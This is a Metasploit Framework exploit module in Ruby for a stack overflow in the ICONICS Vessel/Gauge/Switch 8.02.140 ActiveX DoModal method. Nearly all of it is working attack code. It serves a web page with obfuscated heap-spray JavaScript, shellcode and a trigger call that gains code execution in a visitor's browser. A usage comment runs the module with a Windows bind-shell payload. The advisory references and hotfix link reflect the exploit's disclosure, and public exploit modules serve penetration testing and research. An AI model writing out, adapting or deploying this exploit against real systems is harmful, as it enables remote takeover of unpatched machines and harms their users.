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## # $Id: iconics_dlgwrapper.rb 1 2008-09-21 22:43:00Z kf $ ##
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## # # $ msfcli exploit/windows/browser/iconics_dlgwrapper RHOST=10.211.55.6 PAYLOAD=windows/shell_bind_tcp E
require 'msf/core'
module Msf
class Exploits::Windows::Browser::Iconics_Dlgwrapper < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {}) super(update_info(info, 'Name' => 'ICONICS Vessel / Gauge / Switch 8.02.140 ActiveX DoModal Overflow', 'Description' => %q{ This module exploits a stack overflow in the Iconics Vessel / Gauge / Switch ActiveX controls }, 'License' => MSF_LICENSE, 'Author' => [ 'tebo', 'kf' ], 'Version' => '$Revision: 2 $', 'References' => [ [ 'URL', 'http://www.kb.cert.org/vuls/id/251969' ], [ 'URL', 'http://www.securityfocus.com/bid/21849/info' ], [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6488' ], [ 'URL', 'http://www.iconics.com/support/free_tools/FreeToolsActiveX_DlgWrapperHotFix.zip' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # This most likely works with Switch and Gauge ActiveX controls as well # Thanks for the target testing tebo. Verified on 2kSP4, XPSP0, XPSP2, XPSP3 [ 'ICONICS Vessel ActiveX 8.02.140 - Universal EIP hit', { 'Payload' => { 'Space' => 412 } } ], ], 'DisclosureDate' => 'Jan 10 2007', 'DefaultTarget' => 0)) end
def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Randomize the javascript variable names var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) rand9 = rand_text_alpha(rand(100) + 1) rand10 = Rex::Text.to_unescape(rand_text_alpha(1), Rex::Arch.endian(target.arch))
idname = "DlgWrapper" targetname = rand_text_alpha(rand(100) + 1)
content = %Q| <html> <object classid='clsid:9d6bd878-b8eb-47e5-ab1c-87d74173baa' id='#{idname}'></object> <script language='javascript'> // begin skylined technique - use the common MSF randomized version. var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape("%u0d0d%u0d0d"); // unicode nops.... var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }; var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < #{payload_space}; #{var_i}++) { #{rand8} = #{rand8} + unescape("#{rand10}") }; #{rand8} = #{rand8} + unescape("%0c%0c%0c%0c"); // Return address for the heap sprayed nop sled var #{targetname} = new ActiveXObject("#{idname}.BrowseFile.1"); #{targetname}.DoModal(#{rand8},"#{rand9}"); // Trigger line </script> </html> | print_status("Note: The free ActiveX Controls (Gauge, Switch & Vessel) have a hotfix available.") print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end
end end
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